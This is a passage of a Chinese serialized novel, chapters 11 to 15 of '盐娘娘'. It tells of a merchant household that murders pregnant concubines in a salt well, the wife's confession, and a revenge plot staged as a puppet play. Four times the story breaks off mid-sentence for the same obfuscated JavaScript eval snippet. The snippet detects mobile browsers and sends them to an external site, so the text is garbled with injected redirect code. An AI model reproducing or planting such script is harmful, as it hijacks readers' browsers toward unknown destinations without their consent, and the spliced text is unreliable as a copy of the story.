* * * 夜色漫过青瓦，一道窄长的身影踱进了鲁府西北方的小院。 这已经是大夫人崔氏今日第三次来了，前两次院门口守着两个粗使婆子，崔氏不敢造次。而此时暮色四合，婆子也逃懒寻吃食去了，崔氏这才小心翼翼地踏进院来。 原本僻静的小院此刻一片狼藉，门上是淋漓的朱砂，墙上是糊满的符纸，地上是交错的脚印，可见白日里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184811|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹腾，崔氏不由得叹了一口气。 晌午开坛做法之时，崔玉容躲在自己房中闭门不出。她说不清究竟是因为自己不喜热闹，还是害怕看到晏回与道士斗法失败，灰飞烟灭的现场。好在，围观了全过程的翠竹给她带回来的，并不算是坏消息。 正在这时，房中的灯火亮了，映出了倚窗而坐的秀美剪影。 崔玉容踯躅了片刻，终究是开了口。 “你倒是个好本事的，算是我看轻了你。”声音很轻，尾音里带着颤，似乎一阵夜风便吹散了。 那人影微微一动，似乎是轻笑了一声。 “既然夫人知了婢子的本事，那——可曾改变心意？” 崔玉容攥紧了手中的帕子，她知道晏回指的是二人昨夜的密谈，想及自己全副身家都被鲁府拿捏，此刻又被身为婢子的晏回若有若无的取笑，心中不由起了恼恨之意，冷笑道：“你真当自己赢了？若真是赢了，此刻被囚在房里的，应是那清水道人吧！你与我，皆为笼中之鸟，不过五十步笑百步罢了。” “那夫人便是来看婢子笑话的？” “你——”崔玉容狠狠抿了抿唇，压低声音道：“那日我劝你走，你自视甚高，硬是要与那道士斗法，今日侥幸得胜，那道士岂能善罢甘休？只怕是魔高一尺，道高一丈，一计落败，再生一计，无止无休。你又当如何呢？” “兵来将挡，水来土掩而已。” 大夫人崔玉容气得银牙紧咬，心中怨怪：我几次三番冒险来救你，偏你就是个不服软的犟种！可见，真是个槐木化成的精怪，又冷又硬，不知好歹。我虽是心中对你有愧有怜，可时至今日，我为你所做的也算是仁至义尽，你若还不听劝，便只当我不识得你，你是倒反天罡也好，魂飞魄散也罢，也就由得你去了！ 她已然怒极，狠话在舌头根儿下翻滚了数遍，脱出口的却还是一句：“我就问你一句，你到底肯不肯走！” “那要看夫人肯不肯走。”房里的倩影依旧不动声色，声音也听不出丝毫波澜。 ——再管你我便不叫崔玉容！ 大夫人懊恼转身，拂袖欲走，房中却又传出柔柔地一声唤：“夫人。” 刚抬起来的绣鞋在半空中僵持半晌，终究犹豫着落下了。 “婢子知道夫人是为我好，正如婢子也挂心着夫人。与其你我二人纠结走和留，不如夫人主动出击，将危机化解于无形。”那倩影的双唇微微翕动，语音不快不慢，若一汪泉水，柔软清凉，直润进人的心肠里去。 崔玉容的心啊，被这汪水缓缓地沁着，浸透了外层苦硬的壳，逼出了崔玉容长长地一口气。方才骤然腾起的怨愤、不解、慌乱都随着这口气淡了下去。绷紧的双肩松了下来，崔玉容的语气也不再那般尖锐：“你想我如何做？” “还请夫人附耳过来。” 12. 盐娘娘（十二） 芜廊上的月色被摇动的树影打碎，如散银一般落了满地。崔玉容的绣鞋踏在上面，每一步都走得小心翼翼。 她也不知道自己是中了什么邪，竟然答应了晏回，替她去探问鲁秉添和邵老夫人接下来的计划。而如今，“逼上梁山”的崔玉容，也只能借着送安神汤的由头，独自前往鲁秉添的卧房。 刚走到房门口，屋内便隐隐有谈话声传来，崔玉容心头一紧，赶忙贴着门柱站定，屏息细听。 “……娘，这般大事，如何一直瞒着我？”是鲁秉添的声音，沉稳里带着股阴鸷。 “哎……实在是事情来得蹊跷，添儿你又被那狐媚子迷了神志，让为娘的很是作难啊……”邵老夫人的嗓音里则带着掩不住的愧疚。 “不过，这也是好事。那道士说端阳请戏班，咱们便依着他。玉梨班的人进了门，唱什么戏、怎么唱，还不是咱们说了算？” “添儿你说，那小蹄子当真是妖孽？” “若当真是，虽然可惜，但让那道士顺手除了也便罢了；若当真不是——”鲁秉添冷冷一笑，声音压得更低了。“母亲且细想，楚怜之事，全府上下就母亲与我和那崔氏知道。如今消息漏了，不是她走风，还能是谁？” 崔玉容端着养神汤的手早已冻得发僵，耳中能听见自己剧烈的心跳声——自入春以来，鲁府的夜风总带着股湿冷的潮气，此刻顺着领口灌进来，竟比数九寒天更让人寒毛倒竖。 “那女人知晓得太多，不能留了。”鲁秉添的声音像块磨得锋利的刀，“若那晏回真是精怪，道士除了她，咱们便说大夫人被精怪迷惑，一并送进盐娘娘的祠堂；若那道士是骗子……”他顿了顿，“娘可记得盐场新调的三百兵丁？端阳夜里，待道士作法之时，儿子会让他们埋伏在院外，待府中天灯一起，便是动手的信号，将这些祸乱家宅之人——一网打尽！” 邵老夫人的声音有些发虚：“到时候满院子都是人，若是闹将起来……” “闹将？”鲁秉添笑了，“本老爷家宅中事，谁敢闹将！” 一股刺骨的寒意顺着脚底板攀了上来，让崔玉容的指尖情不自禁地一颤，手中的茶盘竟是再也端不住，微微倾斜，那茶盏就势向着青石砖地面砸去！ ——只怕我等不到端阳日，今日便要身死了…… 崔玉容心如死灰，双目紧紧合拢，静待那惊心动魄的碎裂声。 茶盏坠地的碎响终未响起。 崔玉容只觉耳后忽有风声掠过，腕间一凉，已被人扣住脉门。她本能要喊，唇上却覆了片温凉的帕子，混着淡淡的檀香，将惊呼闷在喉间。 “噤声。” 温和的嗓音自身后响起，崔玉容抬眼，只见一袭月白道袍若白鹤的羽翼微微张开，男子单手托着那只险些碎裂的茶盏，另一只手携着帕子，待她颔首后方缓缓从她唇上移开。 正是白日里在府上闹了笑话的道长。 未等崔玉容回神，只听道士轻道一声“得罪”，便揽住她腰肢，足尖一点廊柱，带她掠上屋檐。崔玉容微张着嘴，许是因为过度的惊吓，她没有喊出一丝声响。只感觉夜风在耳畔呼啸而过，脚下的青瓦化作流动的墨迹，与夜色融为一体。 她垂头看向身下的鲁府，肃重的宅院如同盘踞的巨兽，每一次呼吸都喷吐着腐臭的热气。她已经在这所牢笼中困囿了十数年，唯在今夜得以振翅高飞。不知为何，她心中盘旋的不是恐惧，不是慌乱，而是前所未有的释然。 范凌舟不知道崔玉容心中的翻涌，只是觉得这位大夫人不踢打，不挣扎，倒是格外配合。不过数息，两人已落在西北小院的雕花窗下。看守院落的粗使婆子被范凌舟点了穴位，正躺在地上呼呼大睡。范凌舟屈指叩了叩门扉，小屋的木门应声而开。 晏回立在烛火笼成的阴影里，素白中衣外罩着月青褙子，发间只斜插一支木簪，像是一束被雨水打湿的月光。她冲着还未缓过神来的崔玉容微微一礼：“辛苦夫人了。” 看看浅笑的晏回，再看看立在一旁的白袍道长，崔玉容便是再糊涂，此刻也想明白了些许。 这一切的一切，本就是晏回和这位道长共同设下的局。 烛火被穿堂风撩得晃了晃，映得三人影子在墙上连成一片。崔玉容扶着桌角站稳，鬓边珠钗尚歪在耳后，可脸上的惊惶已然褪去。 “你……你们究竟想要什么？” “一个真相。”范凌舟接口道。他还是没有完全原谅这个扇了晏回一巴掌的女子，口气不免冷硬。 晏回扫了范凌舟一眼，对崔玉容温声道：“我们想要楚怜的骸骨，想要讨回一个兄长的公道，也想要给夫人……真正的自由。” 崔玉容奋力攥紧手中的锦帕，无意识地大口吞吐着空气。想要什么……她似乎总在追问别人想要什么。母亲想要一所能够奉养她终老的大宅子；幼弟想要同姐夫一样功成名就，成为人上人；自己的夫君想要一个佛口蛇心，与他同流合污的大夫人；邵老夫人想要一个陪伴在自家儿子身边，却又无法夺走他的心的奴隶；鲁府上上下下想要一个永远神秘，高高在上，给宅院带来兴旺的盐娘娘…… 而她呢？她自己呢？她想要什么呢？ ——我想要这困住我的一切，灰飞烟灭。 迷惘与踯躅逐渐从崔玉容的眸色中褪去，取而代之地，是前所未有的坚定，她抬起头，缓缓张开了口。 * * * 这一切的开始，始于一场意外，那个名为晚娘的妾室死了。 鲁秉添衣衫不整，慌慌张张地跑进了邵老夫人的房里，房里的烛火彻夜未熄。第二日的夜里，她看见鲁秉添的身影从东跨院儿跌出来，肩头压着个硬挺挺的东西，直往宅子的西北边去了。 她不知怎地，着了魔似的悄悄跟了去，看见鲁秉添正费力地将那肩头的东西往井口上搬。那是一口废弃的盐井，早年间卤水煮干了，井壁结着层白花花的盐霜，已经无人看顾多年了。 崔玉容只顾着望看，却没有注意脚下，冷不防踩到一个浑圆的物件，脚底一滑，哎哟一声摔扑在地上。借着隐晦不安的月光一照，竟然是一枚东珠。那东珠她记得，是鲁秉添和妾室晚娘尚你侬我侬时赏给她的，正圆的完美形制，珠底泛着柔软的淡紫光晕。 崔玉容目眦欲裂，难道——方才被鲁秉添抛下去的……是晚娘！？ 正惊恐之时，崔玉容只觉一抹浓重的暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184812|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影侵染了过来，将她登头盖脸罩住。崔玉容惶惶抬头，正对上鲁秉添惨笑着的脸。 “夫人……都看见了？”他的嗓音阴恻恻的，让崔玉容的汗毛都炸了起来。 “我……妾身……”崔玉容哆嗦得半晌说不出一句话。 鲁秉添直起身子，施施然地拍了拍手上沾着的盐晶，又猛地折下身，黑黢黢的眼睛死死盯着崔玉容的脸，抬起食指，缓缓道：“嘘——” 崔玉容瘫在地上，喉咙里腥甜翻涌。她如何不懂鲁秉添那声“嘘”后隐藏的意思，那是让她用沉默换自己和自己一家子的性命。 那夜之后，崔玉容生了一场大病，而镇子上则渐渐流传起了盐娘娘的传说。先是卖菜的王婶子说，夜里看见白衣女子抱着婴孩在井边哭；再是药铺的陈大夫说，有个产妇梦见盐娘娘托梦，说“不配为母者当去”。传说甚嚣尘上，最终竟言之凿凿地成了真。 崔玉容知道，这是鲁秉添买通了人，可她能做的也只有蜷在被窝里，日日夜夜地数着腕间的佛珠，昏天黑地。 与崔玉容的惊惧交加不同，邵老夫人却像捡了金元宝似的高兴。她命人在盐井上方盖了座价值连城的小庙，将数以千万计的贝壳打碎，融混在泥浆之中，再烧制成砖，最终垒建成庙，在太阳下晃得人眼晕。 老夫人每日清晨去上香，回来时嘴角都挂着笑，她说盐娘娘保佑着鲁氏一族，锦衣玉食，可享万世太平。 后来的妾室们，倒像约好了似的。子衿有了身子才三个月，鲁秉添就嫌她说话吵；春露的肚子刚显怀，他又说她走路没规矩……崔玉容在廊下看着，她们以安胎为由被请进娘娘庙，便再也没有出来。而她，则要在鲁秉添的逼迫下，下到废弃的盐井之中，抱走她们刚刚诞下的孩子。 每一个夜晚，她都能听到那声阴恻恻的“嘘”，如芒刺背，如影随形。 盐娘娘，这个由鲁秉添和邵老夫人塑造出来的邪神，似乎真的躲藏在可怖的小庙里，让这母子俩过上了顺风顺水的日子。鲁秉添有了完美的理由频繁更换妾室，也不必用金银打发；邵老夫人守住了她儿子的心，亦守住了鲁府偌大的家业不被别有用心的妾室占据。 而被困在盐井之下的，似乎只有无法安眠的崔玉容，和那些日夜哭泣的妾室们的冤魂。 而楚怜，则是击垮崔玉容的最后一根稻草。 她是那般温柔澄净的女子，丝毫没有尊卑有别的疏离，时不时地钻到她冷清的卧房里陪她聊天。崔玉容下意识地疏远着她，绷着嘴角，冷着脸，三天一小骂，五天一大骂。楚怜却一概喏喏地受了，更小心翼翼地亲近着她。 “这院儿里只有妾身和姊姊两个苦命女子，与姊姊隔得近些，便不觉得怕了。” 她的心终究是肉做的，冷不防，便软了。 她还记得那日，她与楚怜在廊下坐着，楚怜携起她的手，轻轻放在自己的腹部，轻声道：“妾身自小是兄长带大的，做梦都想有个姊姊。妾身运气好，虽没嫁个如意郎君，却在府里遇到了姊姊。玉容姊姊若是不嫌弃，就给妾身的孩子取个乳名吧！” 崔玉容只觉一柄利刃当胸穿过，半晌没透过气来，她最怕的事情，终于要发生了。 13. 盐娘娘（十三） 崔玉容面色剧变，倏地起身，便往鲁秉添的书房奔去。她知道自己救不了任何人，但这一次，她想试一试。 她动作太急，把楚怜吓了一跳，只来得及在后面踮着脚喊：“姊姊，我还给你带了无忧草的种子……” 未说完的话语飘在空中，风一吹，便散了。 那日，崔玉容在鲁秉添的房里求了很久。鲁秉添的表情颇为玩味，他想不通一向冷心冷情的崔玉容，怎会如此看重一个妾室的生死。他笑着撇了撇嘴，应承道：“夫人且宽心，这怜儿温柔熨帖，恪守妇道，盐娘娘暂且……不会收她。” 崔玉容强忍恶心，抓着鲁秉添冷涔涔的衣角，叩头不迭。 然而，崔玉容却忘了，决定楚怜生死的，从来不是盐娘娘。 当夜，楚怜便被灌服了少量曼陀罗花的药汁，送入了娘娘庙中。崔玉容只得再次求告于鲁秉添，得到的答案却是：老夫人瞧着怜儿不喜，暂且将她关进娘娘庙，避避风头。 崔玉容不想信，但也不得不信。她夜夜都会偷偷溜到小庙处，将耳朵紧紧贴在紧闭的门扉上，妄图听到庙里一丝一毫的声息。她似乎听到了女子因腹部隆起而日渐沉重的喘息声，她看到老夫人会时不时地捧着汤药走进庙里，崔玉容确信，怜儿还活着，她可怜的妹妹……还活着。 数月过去，雨水渐多，淋淋漓漓，似乎一辈子都不会停。那日的子时，老夫人传话让她去娘娘庙。 “你知道该如何做。” 闻言，崔玉容的指甲掐进掌心。这几个月里，她早把娘娘庙的每块砖缝都摸熟了，即便在这伸手不见五指的雨夜，她也能摸索着打开门，点亮提前摆放在庙中的灯笼。 明明灭灭的火光间，神龛中的盐娘娘金身笑得狰狞。 崔玉容膝盖打着晃，一步一个踉跄地爬入那废弃的盐井之中。 在井底不断上涨的积水中，她寻到了她日思夜想的楚怜。那血腥的场景让她手腕一颤，火把掉在污水中，闪动了两下便熄灭了。 她匍匐着爬到楚怜身边，手掌被凝结的盐晶剐得鲜血淋漓，她却毫无所觉。她颤抖着去触碰楚怜的脸，尚有余温，心脏却再也没有力气跳动。剖开的血肉之中，崔玉容注意到有个皱巴巴的小脑袋，正闭着眼拼命吸气，发出细弱的哭嚎。 是孩子，楚怜的孩子。 她脱了外袍裹住她，孩子的哭声被雨声盖住，她只能凭体温确认孩子还活着。爬到井口时，她眼前一黑，几乎栽进泥里，却死死护着怀里的小身子。孩子放声哭了起来，针扎般刺入她的耳朵，形成可怖的回响。 ——玉容姊姊若是不嫌弃，就给妾身的孩子取个乳名吧！ “阿念……你叫阿念。”在昏过去的最后一刻，崔玉容颤抖道。 那夜之后，崔玉容再也没有见到楚怜的尸体。娘娘庙门口的空地上，却莫名生出了一片忘忧草。自此，崔玉容便怕极了那片黄灿灿的，在风中摇曳的花。 鲁府西北方的小院儿本就僻静，此刻更是静得掉针可闻。将胸中憋闷经年的真相倾囊相告的崔玉容，惨白着一张脸，像傀儡人偶般僵硬地晃了晃，噗通一声跪倒在地，深深地垂下了头。晏回看不到她的表情，只能看到泪水如同断了线的珠子，争先恐后地坠在地面上，凝成一个小小的，无助的水洼。 “我死亦何辜，但你们……莫要执念于此，快些走吧……” 晏回和范凌舟对望了一眼，轻声道：“夫人，你想报仇吗？” “我——”崔玉容嗓音嘶哑，不忍卒听，“定然是想的。可是，那鲁秉添手下有三百盐场官兵，你们区区两人，如何报仇？怎能报仇？与其大家一起困死在这囚笼之中，不如你二人逃出生天……” 自始至终，她都想放晏回一条生路。哪怕如今，她已经知道了是晏回自己躬身入局，崔玉容亦未改初心。 闻言，范凌舟对崔玉容最后一丝略带恨意的防备也散了去，颇有些同情地叹了口气，可说出的话却让晏回想要一脚踹上去。 “啧，西楼，大夫人瞧不起咱们呢！” 晏回吐了数口气方才平复自己的心情，踏前一步，将微凉的手搭在崔玉容的肩头。 “夫人，还是那句话，是福还是祸，咱们会会它。” * * * 五月初五，端阳。 晨光初隆，寿光城的百姓们便忙碌起来。空气里弥漫着苍绿色的艾草香，家家户户的笼屉里都蒸上了香甜的蜜枣粽，人人都换上了菖蒲编成的蒲鞋，“啪叽”着脚板在街上走。巷口卖锭子药的小贩高声吆喝着，与一旁嬉闹的孩童相映成趣。西市的天灯铺子最是热闹，裱糊匠的浆糊刷得簌簌响，一盏盏绘着荷花、锦鲤的纸灯在竹竿上晾着，风一吹便摇摇晃晃，像坠了满街的云霞。 此正是：五月榴花妖艳烘，绿杨带雨垂垂重。五色新丝缠角粽，金盘送，生绡画扇盘双凤。正是浴兰时节动，菖蒲酒美清尊共。 这时，街道的尽头响起一阵清脆的铜铃声，一辆青布篷的牛车晃悠悠拐进胡同。车板上摞着七八个朱漆戏箱，最顶上还绑着两杆描金旗幡，被风一吹便哗啦啦翻卷，露出“玉梨班”三个褪色的金字。车帮子上挂着铜锣鼓、木刀枪，连车辕两侧都垂着物件儿，随着颠簸叮咚乱响。牛车后跟着一队男男女女，热闹非常。 小班主唐珠儿盘腿坐在车辕上，双鬟垂于耳侧，束着水红色的缎子，更显得那张桃花面娇俏可爱。牛车走得极慢，她也不急，不时从褡裢里摸出一把瓜子磕了，一边拍着大青牛的屁股哄劝道：“青墩儿，再加把劲，等入了府，我给你割筐新鲜苜蓿，再拌把黄豆，保证吃得你熨熨帖帖！” 那大青牛极有灵性，闻听此言，甩了甩耳朵，步子登时快了些，蹄子踩得石板“咯噔”响，不多时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184813|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲁府的朱漆大门已近在眼前。 鲁府自是请过戏班子，可像唐珠儿这样把全副身家都拉过来的也是少见，唬得门房小厮一叠声地“好家伙”。唐珠儿一边招呼众人卸车，一边嘴上不饶人地抢白：“少见多怪，没听过‘戏班行头半座城’嘛！诶！留神！仔细着我那枪缨子！” 叮叮当当忙活了一个晌午，这才算是进了鲁府的大门，趁着大青牛胡吃海塞的当口儿，唐珠儿拿着戏折子，蹦蹦跳跳地寻主家点戏。 斜倚在酸枝木椅上喝茶的鲁秉添，见了那正迈步进厅的小娘子不由得眼睛一亮。那从头至脚的一袭水红色将唐珠儿衬得如初开的花儿般鲜嫩无匹，可再细瞧了几眼，又觉得年龄太轻了些，少了晏回那般的女人韵致，便也悠悠收回了眸光。 “鲁老爷，玉梨班给您请安了。”唐珠儿俏生生地福了福身，道：“小的是玉梨班小班主唐珠儿，今儿入了咱府上，可真是蓬荜生辉！” 鲁秉添书读得不多，倒是没听出唐珠儿话里的弯弯绕，只是倨傲的点了点头。却听唐珠儿继续道：“今儿是端阳日，头出戏当由老爷亲点，图个吉利。” “嗯——”鲁秉添拉长了鼻音道：“拿戏单来。” 唐珠儿赶紧递上一张洒金笺，墨迹未干，写着《牡丹亭》《长生殿》《天仙配》等一众戏码。鲁秉添扫了两眼，指尖忽然顿住，抬眼道：“《井中月》可有？” 唐珠儿的梨涡僵了僵，歪头道：“禀老爷，那《井中月》虽是新戏，讲得却是被富商买了去的姑娘，在主家受尽苦楚，死后化作厉鬼，向主家索命的故事……今儿端阳，本就是恶月恶日，唱这个可不太吉利。” “吉利？”鲁秉添嗤笑一声，指节敲了敲戏单，“你这小丫头怕是不知，本老爷府上有盐娘娘镇着，自是不怕什么邪祟妖孽作怪，我偏要点这个。” 唐珠儿眼珠一转，甜甜笑道：“当然是老爷说得算！” “嗯——你便……”话音未落，鲁秉添脸上的得色一僵，双眸微微睁大，向敞开的厅门望去。客厅正对着花园，此刻花园的水榭正搭建着戏台，杂役小厮力工穿梭往来，十分忙碌。 “那人……”鲁秉添盯着一个闪身而过的男子，嘴里念叨着什么。 “老爷，老爷？”鲁秉添回过神，唐珠儿仰头笑着脸不偏不倚撞进他的视线里。 “看来老爷是想戏想入了迷，都瞧不见小的了。您就请好儿吧，咱们玉梨班在济南府都赫赫有名呢，包您满意！” 被唐珠儿这么一调侃，鲁秉添也不免尴尬，讪讪地撇了撇嘴，方才关注之事一个闪念便也忘了。 待唐珠儿揣着戏单，一路蹦蹦跳跳拐了两拐，来到安置青墩儿的牛棚时，正见一男子弯着腰给青墩儿添水。唐珠儿气不打一处来，见四下无人，登登两步走上去，一脚踹在男人的小腿上。 “你这人怎么回事！” 14. 盐娘娘（十四） 唐珠儿踹得凌厉，男人不由得闷哼一声，转过身来。 竟是消失多日的楚庸！ 楚庸自知理亏，悻悻挨了唐珠儿一脚，也不反抗，低下头去。他当然知道最不该出现的人就是自己，但是他忍不住。他无论如何都要亲眼看看，害死怜儿的夫家人到底要如何替怜儿偿命。为了这一眼，他宁愿将剩下的寿数都换给阎王爷。 一旁的唐珠儿还在叽叽喳喳，压低声音训斥道：“带你进来本来已经很冒险了，你不好好藏着，还敢直眉杵眼地到鲁秉添面前晃悠！” “你想死不要紧，不要害了我们！” 楚庸怀里还抱着一大捧新割的草，脑袋垂得几乎埋到了草堆里。等唐珠儿一痛骂完，他沉默了半晌，方才颤声道：“珠儿姑娘，我……我知错了。可是……”良久，他从牙缝里挤出几个字，“我恨呐……我恨……” 一滴清泪落在草叶上，顺着光滑的叶面一路向下，很快便消失不见。 牛棚里的青墩儿等了半天，也不见二人给自己加草，不由得伸出头来，抻长了舌头去卷楚庸怀里的苜蓿。 唐珠儿歪了歪头，盯了楚庸一阵儿，脸上的恼怒之色逐渐散去。她从怀里掏了掏，摸出了一把红彤彤的枣子：“哝，吃点儿吧，甜的。” 这是她刚刚从鲁府的花厅里顺的，自己还没吃几颗。 楚庸也不说话，老实地接过枣子，并没有塞进嘴里，只是僵硬地捧在手心。翠绿的苜蓿草，衬着圆溜溜的枣子，鲜艳得紧，却更显得楚庸面色灰白，仿若活死人一般。唐珠儿瞧在眼里，不由又心软了几分。 她叹了口气，劝慰道：“你且宽心，今日之事，没有不成的道理。你就和青墩儿好好呆着，等我们的好消息。” 唐珠儿性子活泛，最怕这种压抑的氛围，说完便急火火地跑了，留下还呆站着的楚庸和舌头伸出两尺长的青墩儿。 少女走后，楚庸半晌未动，直到青墩儿吃完了他怀里所有的苜蓿草，心满意足地吭叽了一声，他方才缓过神来一般，吃力地晃了晃身子。他将背靠在牛棚的立柱上，慢慢地瘫坐下来。唐珠儿给的枣子，被他一股脑踹进怀里，一颗未动。他用手掌狠狠按住酸胀的眼睛，无声地痛哭起来。 * * * 到了下午，鲁府又迎来了孤身前往的范凌舟，一时间搭戏台，摆法阵，一南一北好不热闹。预备夜晚燃放的花灯也已备齐，暂时悬挂在后院儿，摆得满满当当。原本偌大的鲁府，经此一折腾，竟是忙乱拥挤得没有人落脚的地方。而鲁秉添则继续稳坐高台，端着茶水，时不时啜一口，凝望着繁忙的院场。 终于，第一缕暮色降下来了。 戏台搭在鲁府后园的水榭中央，火红的晚霞被湖水柔柔地捧着，衬着那戏台上古色古香的十二面铜镜，倒真是镜内镜外，水上水下，一片烈火烹油的盛景。鲁府众人环湖而坐， 邵老夫人被桃儿扶着坐在最前排，身旁是冷着一张脸的鲁秉添；崔玉容缩在角落，指尖攥着帕子，目光死死钉在戏台上；小顺子垂头立在廊柱下，暮色昏沉，看不清表情；连看守晏回小院的粗使婆子都溜了过来，挤在人群里交头接耳。 小班主唐珠儿一身盛装，双环垂肩，怀中抱着一把曲颈月琴，一对儿剪水妙目往台下一扫，五指拨动，清越的琴音便响了起来。掩在琴音之下，似乎有某种闷闷地敲击声，随着琴音的逐渐攀升，那闷响也愈发扩大，形成了无法让人忽略的节奏。众人的目光来回逡巡着，最终定格在戏台一角的红漆木箱上。 “嗡——”唐珠儿五指一轮，伴着那如玄鸟般冲天的乐音，木箱轰然打开，一阵绯红色的雾气喷涌而出。 众人还没来得及惊叫出声，便见一条雪白的手臂从木箱中探了出来。顺着那毫无血色的臂膀向上，一具人形逐渐显现，紧接着，便是第二具、第三具……她们踏着弦音旋身而出，扭动着腰肢，尽态极妍，月白色的广袖随着动作展开又收拢，遥遥望去，如同无数扑向月光的蛾。这些如梦似幻的妖姬面上皆罩着素色的绢纱，隐约凸起五官的轮廓，只略略透出一点朱唇的红，定睛细看，竟是十二具美艳至极的傀儡。 琴声愈催愈急，傀儡们的舞姿亦愈发狂野炫目，与那铜镜反射的夕阳熔铸成一片，如同在火中盛放的曼陀罗。 “这……这傀儡怎的和真人一般？”前排有婢女小声嘀咕。 回答她的是一阵又一阵压抑地“哇”声。 “这戏演得是什么呀？”又有耐不住寂寞的婢子询问道。 “据说——”搭话儿的小厮拼命压低声音，“讲得是小妾枉死的故事呢！” “啊！？这也太……”婢子心有余悸地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184814|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝鲁秉添的方向望了一眼，“太不吉利了吧……” 而此时，鲁秉添和邵老夫人却全然听不见台下的议论，所有的注意力都被台上的傀儡吸引了。只见那十二具人偶巧妙地一旋，裙摆滑过铜镜，身姿竟悄然隐于巨大的镜面之后，只露出蒙着绢纱的脸。戏台上陡然一空，一具面容清晰娟秀的人偶悄然出现。 她的脸上并没有罩着绢纱，细看眉眼却让众人倒吸一口冷气。 太像了，实在是太像了。 傀儡人偶有着一张柔弱苍白的脸，狭长的睫毛簇着一双猫眼石般浅淡的眸子，眸下寸许泛着淡淡的青色，恍若烟气一般。和尚囚在西北小院儿的晏回，一模一样。 鲁秉添只觉一团棉絮堵在喉咙口，咽不下去，亦吐不出来，几乎难以呼吸。他瞪大了眼睛，目光从人偶的面容缓缓下移，直至“她”隆起的腹部。身旁的邵老夫人剧烈咳嗽起来，涨得满脸通红。 鲁秉添恍然未闻，只是盯着傀儡的动作，额头渗出冷汗。只见那傀儡人偶竖起细长的殷红指甲，带着诡异的媚态，指向自己的腹部。紧接着，只听唰啦一声，长指甲猛地划了下去，如同剖开皮肉的尖刀。更为可怖的是，那傀儡的肚皮竟如真人一般，流出猩红的“血水”来！ 鲁秉添大张着口，如同搁浅的鱼一般，不断啜吸着逐渐稀薄的空气。他惊恐地发现，那傀儡的眼瞳在转动——不是丝线牵引的机械转动，而是像活人般，缓缓转向他的方向。 “娘……不对劲啊娘！”他终于喊出了声。 话音未落，戏台上却传来一声尖细的啼哭。那具傀儡的腹部裂开了，露出另一具惨白的婴孩儿的脸，竟是又一具傀儡。那婴儿傀儡大张着嘴，发出断续的呜咽，同崔玉容在雨夜听到的哭嚎如出一辙。 台下众人起了骚动，有婢女尖叫着捂住眼睛，有仆役后退着撞翻了茶几，连邵老夫人都踉跄着去拉扯鲁秉添的袖子。一片混乱之中，立在戏台一角的唐珠儿笑意盈盈，五指一轮。随着她手腕轻颤，琴弦上沾着的金粉簌簌飞散，在月光下泛着细碎的光，像一场金色的雾，慢悠悠笼罩了整个水榭。 鲁秉添的太阳穴突突直跳，喉头发甜。他想喊人，却发现舌头像是灌了铅；想挪步，双腿却早已软得像棉花。视线模糊前，他最后看到的是那具淌着血的傀儡正缓步向他走来…… 15. 盐娘娘（十五） 鲁秉添是被后脑勺的钝痛疼醒的。 他想抬手揉一揉，却发现双臂被粗麻绳反绑在身后，腕骨勒得生疼。更不对劲的是，血液正疯狂往头顶涌，太阳穴突突直跳，眼前像蒙了层血雾。 ——我这是……怎么了？ 他拼力抬起头，抻得脖颈的筋骨咔吧作响，面前的视野逐渐清晰了起来。他看到了摇晃的井壁，堆积着青苔与盐晶的缝隙，以及井底泛着幽光的积水。他隐约看清那水面反射出的人影，头朝下地吊着，两颊涨得紫红，额角青筋暴起，连眼白都渗着血丝。一股难言的恐惧袭上心来。 “醒啦？” 一阵清亮亮的女声从井口飘了下来。 鲁秉添使劲勾起身子，咬牙切齿地向井口望去。只见一片晃动的光斑里，唐珠儿正悠荡着腿坐在井沿处，歪着脑袋冲他笑。她的脑袋上插满了金玉首饰，一根步摇正随着她的动作轻颤着，上面的掐金丝蝴蝶振翅欲飞，那是他今年年头儿新打的首饰，准备送给未来的妾室，不知何时竟插到了唐珠儿的鬓边。 